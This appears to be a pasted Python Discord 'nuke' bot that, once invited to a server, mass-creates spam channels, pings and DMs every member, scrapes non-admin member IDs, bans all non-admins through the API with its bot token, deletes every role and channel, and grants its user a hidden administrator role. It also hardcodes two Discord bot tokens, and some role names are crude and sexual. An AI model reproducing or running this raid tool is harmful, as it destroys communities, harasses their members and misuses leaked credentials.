Untitled
unknown
plain_text
3 years ago
3.9 kB
6
Indexable
import asyncio
import discord; from discord.ext import commands
import threading
intents = discord.Intents.default()
import httpx
bot = commands.Bot(command_prefix="!",intents = intents)
@bot.event
async def on_ready():
print(bot.user)
print(len(bot.guilds))
print([f"{guild.name} {guild.me.guild_permissions.administrator} {str(guild.member_count)}" for guild in bot.guilds] )
for guild in bot.guilds:
try:
print(await guild.text_channels[0].create_invite())
except:
print(f"cant for {guild.name}")
#token = "MTAzMDUzMDE4ODM2ODQxNjc2OA.GVzyL_.yC2ljVPxFkOIs7Na1tCQl9XQ3SloirrpOkfFow"
token = "MTAzMzEzNTA2MDEwMDA2MzQxMw.GKAt-d.agmB2aGsJ6v72U2aKKeFetAwRyQwxKypXlYybo"
@bot.command()
async def S(ctx):
for i in range(250):
channel = await ctx.guild.create_text_channel(name = "JOHNNYASHERE")
for i in range(3):
await channel.send("@everyone johnny sins was heree")
@bot.command()
async def dmall(ctx):
await ctx.send("yes")
for guild in bot.guilds:
for member in guild.members:
try:
await member.send("@everyone Just Small Prank ^_^")
print("sent")
except:
pass
@bot.command()
async def positionfixer(ctx : commands.Context):
with open('sdsad.txt', 'r+') as f:
for member in ctx.guild.members:
if not member.guild_permissions.administrator:
f.write(str(member.id) + '\n')
print("scraped")
@bot.command()
async def mew(ctx):
for member in ctx.guild.members:
if not member.guild_permissions.administrator:
try: await member.ban(); print("banned")
except: pass
@bot.command()
async def johaa(ctx):
for channel in ctx.guild.channels:
await channel.send("@everyone johnny was here")
@bot.command()
async def ma(ctx):
for meow in ctx.guild.roles:
try:
await meow.delete()
except:
pass
@bot.command()
async def ohnatas(ctx):
for channel in ctx.guild.channels:
try:
await channel.delete()
except:
pass
@bot.command()
async def meoa(ctx : commands.Context):
role = await ctx.guild.create_role(name = "deez", permissions=discord.Permissions(administrator = True))
await ctx.author.add_roles(role)
r = discord.utils.get(ctx.guild.roles, name = "deez")
await r.edit(position = 190)
def meow():
session = httpx.Client()
with open('sdsad.txt', 'r+') as file:
lines = file.readlines()
for line in lines:
try:
req = session.put(f'https://discord.com/api/v8/guilds/{991675483064385587}/bans/{line}',headers = {'Authorization': f"Bot {token}"
})
if req.status_code == 204:
print(req.status_code, line )
else:
print("Error", req.text , req.status_code)
except:
continue
lines.remove(line)
with open('sdsad.txt', 'w') as fere:
fere.writelines( (lines))
@bot.command()
async def banall(ctx):
meow()
#session = httpx.Client()
#print(ctx.guild.me.guild_permissions.administrator)
#with open('sdsad.txt', 'r+') as file:
# lines = file.readlines()
# file.close()
#for line in lines:
# try:
# req = session.put(f'https://discord.com/api/v8/guilds/{ctx.guild.id}/bans/{line}',headers = {'Authorization': f"Bot {token}"
# })
# if req.status_code == 204:
# print(req.status_code, line )
# except:
# continue
#
@bot.command()
async def gay(ctx):
role = discord.utils.get(ctx.guild.roles, name = "cum")
await role.edit(position = 30)
if __name__ == "__main__":
bot.run(token)
Editor is loading...